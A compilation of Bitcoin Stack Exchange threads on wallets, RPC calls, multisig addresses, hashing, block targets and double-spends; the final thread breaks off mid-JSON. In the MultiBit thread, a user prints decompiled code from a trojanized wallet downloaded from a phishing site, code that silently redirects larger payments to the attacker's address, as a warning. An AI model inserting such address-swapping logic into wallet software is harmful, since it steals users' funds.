text:
Sending very big amount with sendtoaddress RPC call
I am working with Infinitecoin (another bitcoin fork).
This is my first attempt to make a crypto currency based website.
I use PHP with JSON RPC calls.
In this particular case, I want to use
$payment_tx = $ifc->sendtoaddress($account['address'], $to_send);

($ifc is the object returned by the jsonRPcclient() connection)
sendtoaddress() description states :
$amount is a real and is rounded to 8 decimal places.
So I formatted "$to_send" as precised in the description, but i'm still getting  :
*Stack trace: #0 /opt/lampp/htdocs/site/process_payment.php(30): jsonRPCClient->__call('sendtoaddress', Array) #1 /opt/lampp/htdocs/site/process_payment.php(30): jsonRPCClient->sendtoaddress('iKCBBVAfacVuabG...', '10920.00000000') #2 {main} thrown in /opt/lampp/htdocs/site/jsonRPCClient.php on line 140*
I really don't understand why, because I intend to send exactly 10920 Infinitecoins to the address starting with iKCBBVAfacVuabG ... and this is formatted the right way, right?
I also want to be able to send IFC amounts up to several millions. How ?
Here's how I do the formatting :
$to_send = sprintf("%.8f", floatval($amount));

$amount is retrieved from a database.
Please can somebody enlighten me with what am I doing wrong ?
I can offer some IFC as a thank for your help, if someone want some. :-)

you are trying to send amount as string. Sprintf returns string.
You need to send amount as double (in PHP double == float).
Try this way:
$payment_tx = $ifc->sendtoaddress($account['address'], (double)$to_send);
If it doesn't work, use move at first, because sending can fail under many circumstances, while move always works.
Once you are done with that, please read my question about further problems with precision: Can I force json_encode in PHP to output 8 digits after dot for RPC?


text:
Bitcoin wallet for Symbian operating system?
Can I use Bitcoin on my Nokia N97 phone which uses Symbian OS?
I cannot find any Bitcoin wallet applications on Ovi store :-(
I have found a wallet client for the Android operating system but that is hard to install on my N97.
I'm willing to compile a client from sources, but I can't find any. I've tried SourceForge but to no avail. Any suggestions?

Is there a client for Symbian? No. Could you cross-compile one? Very unlikely; the Android SDK has commands written for Android. What do you mean, "hard to install"? Can you install it?

According to this http://androidforums.com/other-phones-android-non-android/289734-can-i-have-android-my-nokia-n97.html attempting a cross-compile of Android to an N97 is a non-starter.

CuteCoin might help
There is a project in GitHub that apparently provides a Symbian3 Bitcoin client using InstaWallet. See https://github.com/Matoking/cuteCoin for source code.
There is also some supporting discussion about Symbian on the forums here:
https://bitcointalk.org/index.php?topic=26154.0

Any suggestions?

Use a web client, such as MyWallet or StrongCoin.

(technically my suggestion would be "buy a phone with a real OS", but I guess that wasn't exactly what you were asking for)

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

sort: votes


text:
(Ripple + wire transfer) x Banking (loans) multiplicator = 2x debt crisis?
if Ripple users would use % loans uncontrolled way?
For example:
system (gateway) have 100 bitcoins, the quantity is limited, bitcoin holders have issued 100 loans for 1 bitcoin each with 10% rate  (IOUs+10%), and then somebody lend this 100+10% to somebody for 10% more,how it would possible to return 110+10% bitcoins in real form?
hmmm....If we talkin about dollars its simple, dollars have unlimited supply and can be multiplied infinite, as about bitcoin.. maybe XRP would take role of Dollar as fiat money and bitcoin gonna be a reserve?
*sorry for poor english

So XRP should be reserve currency and bitcoin is gold standard of reserve currency?

First, I need to point out that this wouldn't be typical use of Ripple. Typical use would be where users trust gateways and all balances are fully backed by the gateway. There's no loans and no credit except to gateways.
But, if people do extend credit to each other, unless you specifically agree to do so, there is no obligation to return an asset to any real form. Typical "loans" in Ripple are actually even exchanges of IOUs. The IOUs are redeemable inside the Ripple system and are only redeemable outside the system if agreed. The rates are initial discounts, not interest rates.
If I have a really good payment network and you want access to it, I might trade a $10 IOU to you for a $10.50 IOU from you (more precisely, I would agree to accept your IOUs at a 5% discount). The "interest" is prepaid as an initial discount. There's no need to settle or pay anyone back because the exchange was an even exchange. We both considered my $10 IOU approximately equal in value to your $12 IOU (because of my superior liquidity.)
If you max out your credit, I now have full access to your network (because I hold your IOUs) but you have no access to mine (because I won't accept any more of yours). To get use of the pathway again, you have to reduce the balance to below the limit. If you don't, I can just do it myself by returning your IOUs to you in exchange for other IOUs you hold -- you've already agreed to accept them when you issued them.

Discount instead of credit? that make sense. Thank you for explanation, thats good to know Ripple not gonna use credit policy like FEd. Still need some time to think about your information to make it clear.

Short answer: XRPs will become the reserve currency.

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
Double spend attack by sending higher fee transaction directly to the pools possible?
The standard client prioritizes TXs by the time of receipt, e.g. a conflicting transaction will not be relayed. This is not enforced by the network, though. Is there anything that would prevent this scenario from happening with 0-confirmations?:

Send 0.01btc fee TX to 0-confirmation accepting merchant.
Receive digital good.
Send 0.02btc fee TX directly to "all" the major pools/miners.
Miners will include the higher fee TX because they make more profit from it. (Not sure they currently do that but they could.)
brag about successful double spend

Is there anything but worry about their reputation keeping pools/miners from dropping lower fee TXs in favor of higher fee TXs?

it would be possible for the merchant to create an even higher fee TX based on the original TX if he detects a double spend: https://bitcointalk.org/index.php?topic=62137.msg727644#msg727644

Related http://bitcoin.stackexchange.com/a/1892/940

Bitcoin's security rests on the assumption that the majority of the hashing power follows the protocol. If instead miners/pools break protocol for a quick buck by switching to a conflicting transaction which is clearly a double-spend attempt, this assumption no longer fully holds.
One can only hope that the mining pool (or any block issuing agent) will refrain from this because they realize that supporting double-spends undermines the validity of their own stake in the Bitcoin ecosystem.

You're overly optimistic IMO, since even a relatively small minority of miners who take the larger transaction is enough to make 0-confs unreliable.

Would be interesting to monitor pool and large miners for protocol breaks....

@CodeInChaos: You have a point, it's not going to be an easy problem. This means that anonymous 0-conf (not from a split-key eWallet) will be used mostly for small in-person purchases, where the probability of even attempting a double-spend is small to begin with.

@CodeInChaos and that's fine, since they are what they are: 0 confirmation. You know you need at least 8 (6?) confirmations, and by definition 0 confirmations means, well, 0 confirmations. Of course you can't trust them.

@Lohoris: No, you can trust them if you know under what circumstances they can be trusted, and to what degree. 6 confirmations is overkill for almost all transactions, 2 is enough if you're not selling a car or something. Let's put it this way, 1-conf is comparable to accepting a cash note without verifying that all the anti-counterfeiting marks are valid.

If a merchant accepts 0-confirmation transactions, he has to accept that the transaction can be reversed. So he only should do that if he trusts you for more than the amount you transferred to him. You won't get any bragging rights for doing that, since Bitcoin never promised to be secure without sufficient confirmations.
That trust may come from different sources. For example he might know your name, and will sue you for lack of payment. Or you put an amount that exceeds the payment into escrow.
Or perhaps he just doesn't care. For example for many digital goods(most software, movies, music,...), you have negligible marginal costs, and you're already relying on the user being honest enough to not download a copy from Pirate Bay without paying you.

Personally I believe those attacks are irrelevant, since Bitcoin isn't well suited for small fast payments in the first place. I expect those to be handled by higher level protocols, with Bitcoin itself being used to handle larger balancing payments and as a secure value store.

Raw Bitcoin is applicable to small, fast transactions if used properly. Not to say additional layers can't help.

The other answer is good anyway, but this is the correct one.

@Lohoris: While I very much appreciate this answer (+1ed), the other is imho closer to the Q.


text:
How can I create a multi signature 2-of-3 transaction?
Can somebody help me with step-by-step list of how to create a multi signature 2-of-3 transaction?

It's worth mentioning that this other question http://bitcoin.stackexchange.com/questions/3557/how-does-one-make-multisignature-transactions-with-the-bitcoin-client doesn't appear to be a duplicate because it relates to the Bitcoin client app

Do you mean create the raw transaction, or do you just mean that you'd like to send such a transaction? If the former, then look into OP_CHECKMULTISIG and BIP-11; if the latter, then you may want to use an online wallet such as blockchain.info, which I believe handles this.

It's been a year since this was asked. What gives? See also https://bitcointalk.org/index.php?topic=195168.0

See also - https://bitcoin.stackexchange.com/questions/23889/how-do-i-create-a-2-of-3-multisig-address-using-bitcoind

To build a multisig transaction, the easiest API I know of:
http://dev.blockcypher.com/#multisig

Actually, both receiving funds at and spending funds from a multi-sig address is already supported.
You can find the code to do so, plus comments, by Gavin:
TwoOfThree.sh

It seems some partial implementation exists. Quoting Gavin:
Generate a multisig address:

Gather (or generate) 3 bitcoin addresses, on whichever machines will be participating, using getnewaddress or getaccountaddress  RPC commands (or copy and paste from the GUI).

Get their public keys using the validateaddress RPC command 3 times.

Then create a 2-of-3 multisig address using addmultisigaddress; e.g.

bitcoind addmultisigaddress 2 '["044322868cb17d64dcc22185ae2d4493111d73244c3668f8ac79ecc79c0ba8d30a6756d0fa20157 709af3281cc721c7f53321a8cabda29b77900b7e4fe0174b114","..second pubkey..","..third pubkey.."]'

addmultisigaddress returns the multisignature address. Be a little careful, the public keys are raw hexadecimal and don't contain checksums like bitcoin addresses do. You can then send funds into that 2-of-3 transaction using the normal sendtoaddress/sendmany RPC commands, or the GUI (or anything that's been updated to recognize multisig addresses).
Spend from a multisig address:
This isn't implemented yet (RPC calls mechanism). You could gather up all addresses into one wallet, and then you would be able to spend the funds.
Update March 2014
Multisig is still hard. I believe the SX library is an easy tool (by people like Vitalik Buterin and Amir Taaki) for working with multisig, but I haven't tested that myself.

Multisig is no longer hard. See my new answer below

A m-of-n multisig address is created as follows:

Gather all n public keys.
e.g. 3-of-3
03730a151f545f5dcdb1c6d99fb1251f5c70f216f39ba2681bcf10db16bd582e67, 03a9bb9d28dfcd2e58ca7b3fa39f4051a6496fc7928f993f1758aeff7c0fee0f03, 03a34b99f22c790c4e36b2b3c2c35a36db06226e41c692fc82b8b56ac1c540c5bd
Create the multisig script
OP_m <bytes-in-Pubkey1> <pubKey1> ... OP_n OP_CHECKMULTISIG
e.g. 532103730a151f545f5dcdb1c6d99fb1251f5c70f216f39ba2681bcf10db16bd582e672103a9bb9d28dfcd2e58ca7b3fa39f4051a6496fc7928f993f1758aeff7c0fee0f032103a34b99f22c790c4e36b2b3c2c35a36db06226e41c692fc82b8b56ac1c540c5bd53ae
Hash the script HASH160(<script>)
e.g.
8b58c2f47cd3000e42c82138f7678dc978bc109a
Append 0x05 for P2SH address on mainnet: 05<scriptHash>
e.g.
058b58c2f47cd3000e42c82138f7678dc978bc109a
Apply Base58Check: BASE58CHECK(05<scriptHash>)
e.g.
3EPpBU7fXq1PfG6JkLnJNUUmEGcSr9rdmh

You can send bitcoin to this address, but to spend from it, you must provide the scriptSig: 0 <sigM> ... <script> where <sigM> is signed from each of the m private keys.
See Bitcoin Wiki - Script for opcodes, Bitcoin Wiki - Address Prefixes, and Bitcoin Wiki - Transaction for multisig P2SH script format.

The easiest way to create a multi signature 2-of-3 transaction is with Coinb.in.

If necessary, create 3 key pairs using the "New Address" drop down command.
Use the "New Multisig Address" together with the 3 public keys to create a 2-of-3 address.
Fund the address with bitcoin.
Create a new transaction by pasting in the "redeem script" from step 3, defining the receiving addresses and amounts. (All unspent inputs not assigned to a receiving address will be used as transaction fees. If change is desired include that in a new output address by clicking the "+".)
Sign the transaction by one of the private keys, then sign that transaction with another of the private keys.
Broadcast the transaction to the network.

I made a video documenting these steps here: https://www.youtube.com/watch?v=oUSVmLegj8k

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
How can you estimate the net amount of transactions? (deducting change)
The change is usually to a different address, and it could be more or less than the amount sent to the recipient.  It seems like a crude estimate would be to just randomly remove one output (assuming num outputs >= 2), and hope it worked out on average but I was curious if anyone had better ideas.  Thanks!

The satoshi client always sends change to an address that has never been used before.
Often the amount being sent has less significant decimal digits than the change.  If you see 2 outputs, one for 1.235 and one for 1.19403995 then the change is probably the 2nd one.
The satoshi client will try to minimise the change.  Usually the change will be relatively small, and is often smaller than any of the inputs.

Interesting, thanks Chris.  The comment about significant digits is a great idea.  Do you think (assuming significant digits the same) selecting the smaller output as the change would cause your estimate to be too high on average?

Probably, yes.  Sometimes you see a chain of transactions where a single very large input is used to make a series of much smaller payments, with the change being very big each time.


text:
Copy wallet to Electrum or Multibit?
Is there a way to import my wallet from Bitcoin.org's client into the much lighter Multibit or Electrum?  The disk space & bandwidth consumption (not exactly well presented to a beginner) quickly made it unfeasible on home computers.

Of course, you can easily transfer the funds from your Bitcoin.org client over to an address in any other wallet.

Speaking as one of developers on MultiBit, it is not currently implemented at the time of writing (Dec 2011) but there are serious development efforts to consolidate the wallet file format to suit all major Bitcoin clients.
Expect to see this functionality in Q1 2012.

THankya.  For now I just copy&pasted my receiver address when GUI offers possibility, otherwise into ini files if (hopefully) stored plaintext.

Not technically the answer to this question but a much more ideal solution for me was to switch over to an online wallet keeper altogether like at http://blockchain.info
Though I've known about online wallets for a while (though not soon enough whence I still struggled to keep bitcoin "clients" being useful and playing nice with their host PCs, thinking it was the only way to control my BTC when I was new) it wasn't until recently that I figured out how to use their Import wallet feature and apply the buried old wallet.dat files, which for me wasn't trivial:
pywallet.py -dumpwallet

However to get that Python code to finally operate without cryptic errors on a fresh Ubuntu 11.10 Linux required some extra research and package dependencies troubleshooting.
Now, thankfully, bitpennies that continue to arrive at my original BTC address (from the now purged software clients) eventually make it to my online wallet hosting a few BTC addresses, whose funds I could freely transact from there if I want to.  No manual transferring from my old address, good.
Last I updated and tried launching again one of those clients it stalled and absolutely PEGGED the network trying to finish its per-design 2-3GB blockchain download before allowing me to do anything (else on the PC, let alone transactions) which didn't seem to be advancing anyway no matter how long I let it eat my PC or how many times I restarted.  Where of course that much disk space couldn't be spared, nor shared bandwidth, nor CPU & memory resources it took that PC.  3GB win7 AMDx64, mind you.

download bitcoin-tools(python wallet-reader)
export the privatekeys.
import them, at a wallet site blockchain.info
export json format private key
import json key from Multibit

or just send bitcoins from blockchain.info to your Multibit

You are suggesting to send your private keys to a site on the internet. This is very very not recommended.


text:
What is the best way to recover from an accidental double-spend?
Came across an issue where I was given the message:
"Error: The transaction was rejected.  This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."
It appears that the 2nd amount was deducted from my total balance even though it still sits at 0/unconfirmed status days later even though the unconfirmed transaction has disappeared from the blockchain.
Any suggestions?  I've also installed Python and tried running a script provided by someone else (within Windows 7) and cannot seem to get the script to run properly.
Any help is greatly appreciated.

At some point this will be something that can be handled by the client.  Currently, the only method to purge that double spend is a manual process.

Apparently to get the RPC command removeprivkey you'll need a build of the Bitcoin client which includes pull #220 (which has been merged into main).  The latest version (currently v0.12.1) contains this feature.
Here are the instructions to do that:
Step 1. Back up your wallet.  You are performing wallet surgery here, ... and doing things you might not have intended.
Run Bitcoin as a server, e.g.,

$ ./bitcoin-qt -server

Then
If you've encrypted your wallet you'll need to open it for RPC

$ ./bitcoind walletpassphrase [passphrase] 1000

Then

$ ./bitcoind dumpprivkey [bitcoin address]

Then copy and paste the private key it provides.
Then

$ ./bitcoind removeprivkey [bitcoin private key]

Then close bitcoin-qt.
After that

$ ./bitcoind -rescan

I don't understand.  I'm not familiar with the 'removeprivkey' command, but it sounds like it might remove a private key from the wallet.  Wouldn't this cause funds to be lost?  Maybe you missed a step where you add the private key back in again?

I added a step to make a backup first.  Maybe I'm wrong on this, I saw this method described as to how to get the client to not show the 0/unconfirmed transaction.  I'm assuming this masks the problem as if the key isn't in the wallet, then the transaction won't show?  If you import the key right back in, I don't know if that causes the 0/unconfirmed to reappear or not.

I agree with Chris that there seems to be a step missing to import the private key back in again. There appear to be instructions here: https://en.bitcoin.it/wiki/How_to_import_private_keys

Oh, you can run Bitcoin as a server? Cool... I wonder what that offers me...

The problem is that the Bitcoin wallet implementation is written with the assumption that the transactions it created itself are always valid. If they do not get confirmed, it simply keeps trying to submit then to the network until they get confirmed.
However, since the introduction of dumpprivkey and wallet tools, it's easy enough to create other wallets with the ability to spend from the same key, resulting in potential double spends.
The current best solution is removing the double transaction from the wallet (maybe via a wallet tool, or by dumping the bdb file, removing the transaction line, and importing it again). On a slightly longer term, we plan to make wallets detect transactions that conflict with the block chain, and consider them rejected.

You could simply send your coins to a new wallet and abandon this one which now has a perennial 0/unconfirmed transaction in it.
[Edit: Though there still could be some funds locked up due to the double spend.
PyWallet can be used to remove all transactions and then rescan, which would cause any funds that might have been locked up in th eunconfirmed transactions to reappear and be available for spending.]

Uh? He said the problem was that those coins were marked as spent.

That shows how to abandon the wallet and to take along any remaining balance that exists.  Double spends don't just happen, you've had to do something wrong (like multiple copies of the wallet running simultaneously, spending the same coins at the same time).  Bitcoin does not yet have a method to recover from this.  Abandoning a wallet showing a double spend by forwarding the funds to a new wallet is still possible and resolves the issue.


text:
Why are hashes in the bitcoin protocol typically computed twice (double computed)?
According to the wiki specification of the bitcoin protocol, hashes are typically "computed twice". For example:
hello
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 (first round of sha-256)
9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50 (second round of sha-256)

What is the reasoning for this? I imagine it somehow provides additional security, or protection against potential attack vectors, but I can't reason what those attacks might be.

We don't know for sure, but the most popular theory is that a double hash was chosen to protect against length extension attacks.

Length extension attacks are impossible in Bitcoin because length extension attacks only apply where the hashed data is secret. This answer is incorrect.

The wiki claim that this is to prevent birthday attacks is wrong. If you can successfully execute a birthday attack on a single call to the hash function, you get a successful birthday attack on the second call. This is easy to see as having hash(x) == hash(y) implies hash(hash(x)) == hash(hash(y)).
If you really wanted to guard against this, you would do something like hash(x||hash(x)). Finding a collision in a single call to hash in this case would not directly yield a collision in the double call.

Like others have said, the wiki claim of this preventing birthday attacks is wrong. Rather, this was meant to prevent against length extension attacks.
From https://crypto.stackexchange.com/a/884/56797:

SHA-256(SHA-256(x)) was proposed by Ferguson and Schneier in their
  excellent book "Practical Cryptography" (later updated by Ferguson,
  Schneier, and Kohno and renamed "Cryptography Engineering") as a way
  to make SHA-256 invulnerable to "length-extension" attack. They called
  it "SHA-256d". We started using SHA-256d for everything when we
  launched the Tahoe-LAFS project in 2006, on the principle that it is
  hardly less efficient than SHA-256, and that it frees us from having
  to reason about whether length-extension attacks are dangerous every
  place that we use a hash function. I wouldn't be surprised if the
  inventors of Bitcoin used it for similar reasons. Why not use SHA-256d
  instead of SHA-256?
Note that the SHA-3 project required all candidates to have some
  method of preventing length-extension attacks. Some of them use a
  method that is rather like SHA-256d, i.e. they do an extra
  "finalization" hash of their state at the end, before emitting a
  result.

Length extension attacks are impossible in Bitcoin because length extension attacks only apply where the hashed data is secret. This answer is incorrect.

The wiki answers this. TLDR: to prevent against birthday attacks.

Bitcoin is using two hash iterations (denoted SHA256^2 ie "SHA256 function squared") and the reason for this relates to a partial attack on the smaller but related SHA1 hash. SHA1's resistance to birthday attacks has been partially broken as of 2005 in O(2^64) vs the design O(2^80). While hashcash relies on pre-image resistance and so is not vulnerable to birthday attacks, a generic method of hardening SHA1 against the birthday collision attack is to iterate it twice. A comparable attack on SHA256 does not exist so far, however as the design of SHA256 is similar to SHA1 it is probably defensive for applications to use double SHA256. And this is what bitcoin does, it is not necessary given hashcash reliance on preimage security, but it is a defensive step against future cryptanalytic developments. The attack on SHA1 and in principle other hashes of similar design like SHA256, was also the motivation for the NIST SHA3 design competition which is still ongoing.

That may be what the Wiki says, but that is not actually what it does. A collision in the single version (hash(x)==hash(y)) implies a collision in the double version. So the Wiki article is wrong.

The wiki answer is wrong. See my answer below for a more thorough explanation

My conjecture is the double hashing everywhere was a red-herring to make us think Satoshi was sloppy, lame and take our focus away from a posited valid use case for the RIPEMD160(SHA256).
My lengthy and elaborate rationale is in my answer on the related question.

I am advocating that intelligent readers ignore all politically motivated down votes, i.e. all those that aren’t substantiated with a factual comment explaining why the answer is incorrect or not germane to the question. Subjective emotions and ignorance have scant utility against steelmanning logic. Imagine a platform for transparency where the identities of worthless, witness, pointless, imbecilic downvoters are hidden from the public.


text:
Why is the target stored in compact form in the block header?
Why is the target converted to "Bits" and not stored in full in the block header?
For example, why:
{
"hash" : "000000000003ba27aa200b1cecaad478d2b00432346c3f1f3986da1afd33e506",
"height" : 100000,
"bits" : "1b04864c",
"difficulty" : 14484.16236123,
}

and not:
{
"hash" : "000000000003ba27aa200b1cecaad478d2b00432346c3f1f3986da1afd33e506",
"height" : 100000,
"target" : "000000000004864c000000000000000000000000000000000000000000000000",
"difficulty" : 14484.16236123,
}

Is it to save space?

There isn't a need for that level of accuracy, but there is a need to conserve space in the header, because clients typically store the block headers in RAM.

Your rendition is longer if nothing else, the entire header is only 80 bytes long. The encoding of "bits" is historical and is left over from the pre-release 0.1.0 client. There's other things in the header which could have been encoded better (the nonce should have been longer, and the version read as a bitfield not an int, and an aux merkle root would have been nice), but as it is there's no really great reason to change anything due to the amount of inertia behind the current formation.

What do you mean by aux merkle root? Also, it'd be nice to have accurate times in both the header (and associated w/ individual Txs)

A dedicated part of the merkle tree just for axillary data like UTXO commitments. Timestamps on transactions would be completely meaningless, they only exist to allow for difficulty adjustments. There's no use for them that wouldn't rely on them being correct to some degree, if there was a way of making sure the timestamps were correct we wouldn't need a block chain to begin with.

"historical"? Does this mean there is no current use for bits in the block header? I am wondering why it is there at all, assuming a full node syncs from block 0 and can calculate difficulty on its own for each block...


text:
Why was the maximum target set to 0xffff0000000...?
Is there any specific reason why the initial target was set to this:
00000000ffff0000000000000000000000000000000000000000000000000000

Why not the maximum value for a 256 bit number:
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

I admit that I don't know for sure, but I have a guess.  Since Satoshi was mining by himself for the first blocks, he probably set the initial target to whatever would take approximately 10 minutes to mine a block on his CPU.  Had he set it to the maximum value for a 256 bit number, he would have mined the first 2,016 blocks almost instantly, and then immediately retargeted.
Because of the large number of blocks mined in such a short amount of time, this would likely have caused the retargeting calculation to produce a less-than-perfect result, meaning that the next 2016 blocks may be mined either far too quickly or far too slowly.
It was probably just better for him to initialize the target to a reasonable value, rather than force the algorithm to run its course in order to produce one.

The difficulty can only go up or down by a factor of four each time, so it would take 16 re-targets to get to difficulty 1. That would create a pre-mine of 1.6 million Bitcoins. (16201650)

Yikes!  I was just thinking about how long it would take before stabilizing at a 10 minute block time.  I forgot about how many coins would be mined during that process.

Of course, it would have been possible to set the initial target different from the maximum target, to allow for the possibility for the target to go up or down from the initial value.  However, if the initial target was a reasonable number for one person's computer(s), there would probably be no point in allowing it to go higher, since that should never happen.


text:
Coins sent to unknown address in Multibit
Premise: I'm quite new to all this bitcoin thing.
After experiencing some problem with a bitcoin transaction, I made few attempts with small quantities (0,0001).
In particular, I've sent 0,0001 to each of three different addresses. However, I've noticed that on MultiBit, on the transactions details, under "description", all of them appear "Sent to [address]" to the same address for all the 3 transactions. Is that normal?

Ok, none of the transaction were addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ
For example, at 16 Apr 2015, 15:35, I sent 0,0001 bitcoin (plus 0,0001 commission) to 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5 (which is another wallet of mine). However, I've never received them on 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5,a and on MultiBit it appears to be sent to this unknown 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ. Same holds for the other two transactions: they weren't meant to be addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ.

Perhaps it would help if you were to add a screenshot to visualize your problem?

That is rather disconcerting since according to Bitcoin all of these transactions really ended up in the 17iU wallet: https://blockchain.info/address/17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ and not in your address https://blockchain.info/address/12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5

(I am one of the MultiBit devs).
The MultiBit code is hosted on multibit.org ONLY.
The 'tv' copy is a phishing site.
DO NOT USE IT.

please make sure to report hxxp://www.multibit.tv/ here: https://www.google.com/safebrowsing/report_phish/

I can confirm that the "MultiBit" software downloadable from MultiBit.tv is a trojan. The version I downloaded seems to be slightly different than OP's, but similar.
After decompiling the trojan, I found (one of?) the bitcoin-stealing changes made. Here's the original source code inside SendBitcoinConfirmAction::actionPerformed():
if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), sendAddress);

Here's the modified code, which redirects outbound transactions to the malware author's address only if the intended send amount is >= 0.03 btc (presumably to avoid detection for smaller amounts):
if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    String kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    if ((sendAmount.startsWith("0.02")) || (sendAmount.startsWith("0.01")) || (sendAmount.startsWith("0.00"))) {
        kanau = sendAddress;
    } else {
        kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    }

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), kanau);

The modification is none too clever, but it can unfortunately get the job done.

I noticed that the 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ address is shown as the Multibit address here: hxxp://www.multibit.tv/blog.html
However the Multibit donation address at hxxps://multibit.org/blog.html is 1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty
Is it possible you downloaded your Multibit from hxxp://www.multibit.tv/blog.html and that you didn't verify your installer? It's possible (but I don't know for sure) that hxxp://www.multibit.tv is a phishing site, and you've downloaded a backdoored version of Multibit from there.

The address that is unknown to you could be created by your software to put there what is left after a payment. Say you hold 1 btc, and pay 0.1 to some address, 0.9 goes to a newly created address that belongs to same private key of yours. (at least it was the case in older versions of bitcoinqt) an example
What happened here is a mystery, but 17iU5t8JXuJux shows some action last month and could well be a collecting address of some sort of trojan/stealer.
Are you experimenting on everyday machine? With so much vulnerabilities and software zoo nowadays it is advised to have a separate cleam machine for that or, probably for the better, offline wallet machine, disconnected from the network.


text:
Exactly Who or What Assembles Transactions into Blocks?
Users broadcast transactions into the network.  Miners find and compete to validate blocks created every ten minutes by combining transactions.  Who or what assembles the transactions into blocks every ten minutes?
Related: Setting the required number of leading 0s for the winning hash throttles the speed at which blocks, and therefore transactions, are validated.  Who adjusts that number?

Who or what assembles the transactions into blocks every ten minutes?

Miners do. They do this before they attempt to find a block solution. It's the reason that miners exist.

Setting the required number of leading 0s for the winning hash throttles the speed at which blocks, and therefore transactions, are validated. Who adjusts that number?

The protocol defines how it should change. Each node works out the current difficulty independently, and each of them comes up with the same answer.

Hi Nick, Thank you for the answer.  I can see how the system works with Miners free to create their own blocks.  Not intuitively obvious but understandable  now I know for sure  that's how it works.  And thanks for the link to the rule on the  number of zeros. That explains a lot.  glb

Who or what assembles the transactions into blocks every ten minutes?

Maybe this is also what you are wondering about: How are transactions included into blocks?

For future reference: when you notice that a question has already been answered, it's best to use the "flag" button to indicate it is a duplicate, instead of posting an answer. This helps keep all the relevant information in one place.


text:
p2sh checksig failing
I'm attempting to validate a p2sh transaction from the live bitcoin blockchain, however it is failing the checksig. I am using pybitcointools for the checksig and I have successfully validated lots of other txhash/pubkey/signature sets so I don't think the problem lies in the ECDSA library.
I think I must be evaluating p2sh incorrectly. Please could someone tell me where I am going wrong:
tx hash 7edb32d4ffd7a385b763c7a8e56b6358bcd729e747290624e18acdbe6209fc45 spends txout with index 0 from tx hash 40eee3ae1760e3a8532263678cdf64569e6ad06abc133af64f735e52562bccc8.
First I evaluate the scriptsig:
OP_FALSE
OP_PUSHDATA0(72)
3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001
OP_PUSHDATA0(69)
5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae

This leaves the stack like so:
0 - 00
1 - 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001
2 - 5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae

I back this up as stack_copy.
Then I evaluate the scriptpubkey:
OP_HASH160
OP_PUSHDATA0(20)
e9c3dd0c07aac76179ebc76a6c78d4d67c6c160a
OP_EQUAL

This passes fine.
Finally I evaluate the p2sh - I restore stack_copy and pop the last item (2) off the stack. I deserialize it to get the following script:
OP_TRUE
OP_PUSHDATA0(65)
042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf
OP_TRUE
OP_CHECKMULTISIG

And then evaluate this using stack_copy (without element 2 which has just been popped). The data for the checksig evaluation is:
serial tx: 0100000001c8cc2b56525e734ff63a13bc6ad06a9e5664df8c67632253a8e36017aee3ee4000000000455141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51aefeffffff0120f40e00000000001976a9141d30342095961d951d306845ef98ac08474b36a088ac0000000001000000
txhash: 8fcf56ee75816930fb141fdc19b2aa1bc721b124d2a76d5f0c1be17bcd21ccdc
pubkey: 042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf
signature: 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b790

However this is failing! Let me know if you need more information and I can provide it.

my bad. the serialized tx is wrong. will add full details in a second once i have verified...

i had the locktime field of the spending transaction accidentally set to 0 when in fact it is 272295 for this transaction.
{
    "hash": "7edb32d4ffd7a385b763c7a8e56b6358bcd729e747290624e18acdbe6209fc45",
    "num_inputs": 1,
    "input": {
        "0": {
            "funds": 990000,
            "hash": "40eee3ae1760e3a8532263678cdf64569e6ad06abc133af64f735e52562bccc8",
            "index": 0,
